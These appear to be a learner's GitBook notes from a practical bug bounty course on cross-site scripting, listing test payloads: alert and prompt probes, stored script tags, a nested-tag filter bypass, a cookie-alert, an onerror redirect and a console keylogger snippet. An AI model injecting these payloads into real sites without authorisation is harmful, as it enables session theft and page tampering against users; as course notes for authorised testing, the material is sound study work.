> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/tcm/practical-bug-bounty/xss.md). # XSS

**TRY USING DOUBLE ENCODING LIKE THE URL, BASE64, ETC** ``` alert(1) print() prompt("hello") ```

# everytime you will click a letter will be recorded in the console
function logKey(event){console.log(event.key)}

document.addEventListener("keydown",logKey)

# Test for HTML injection
# See if it stored XSS
<h1>test</h1>

# Stored XSS
<script>prompt(1)</script>

# It will remove the first <script> 
# They it will execute the xss payload
# Also check it is recursively removing the script tag
<scri<script>pt>prompt(1)</scri</script>pt>

# Stored XSS
<script>alert(document.cookie)</script>

# It will redirect to google.com
<img src=x onerror="window.location.href='https://google.com'">

# It will spawn the prompt 
# Which indicates we have xss
<img src=x onerror=prompt()>

{% code overflow="wrap" %} ``` ``` {% endcode %}